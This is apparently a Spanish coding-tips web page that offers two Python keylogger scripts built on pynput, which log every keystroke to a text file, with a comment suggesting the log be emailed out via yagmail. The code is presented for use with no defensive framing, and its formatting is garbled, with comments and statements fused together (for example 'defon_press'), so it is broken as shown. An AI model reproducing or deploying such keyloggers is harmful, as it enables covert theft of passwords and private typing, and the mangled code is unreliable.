Saltar al contenido

hacer un keylogger en el ejemplo de código python

La guía paso a paso o código que verás en este artículo es la resolución más sencilla y efectiva que encontramos a tu duda o dilema.

Ejemplo 1: registrador de teclas de Python

import logging
import os
from pynput.keyboard import Listener

log_Directory = os.getcwd()+'/'# where save fileprint(os.getcwd())# directory# create file 
logging.basicConfig(filename=(log_Directory +"key_log.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s')# function in loggingdefon_press(key):
    logging.info(key)# when press key save the key in filewith Listener(on_press=on_press)as listener:
    listener.join()# infinite cicle

Ejemplo 2: keylogger en python

#pip install pynput OR python3 -m pip install pynput#ONLY ONE MODULE REQUIREDfrom pynput.keyboard import Listener #add ", Key" here if you want to be able to act when keys like Enter and esc are pressed)#you can use the yagmail python module to email yourself the log with a gmail account when a key is pressed (if key.char == ... OR if key=Key.(esc, enter, shift))file=open("log.txt","a")#save to the current directory. To save to another location use r'C:Usersktmetclog.txt'#NOTE - it does not matter if "log.txt" exists or not. Python will automatically create that file.defon_press(key):try:file.write(f'nkey')file.flush()#save changesexcept:pass#ignore all errors
listener = Listener(on_press=on_press)#you can also use "with listener as Listener(on_press...):"
listener.start()
listener.join()

Si entiendes que te ha sido provechoso nuestro artículo, agradeceríamos que lo compartas con más seniors de este modo nos ayudas a dar difusión a nuestro contenido.

¡Haz clic para puntuar esta entrada!
(Votos: 0 Promedio: 0)



Utiliza Nuestro Buscador

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *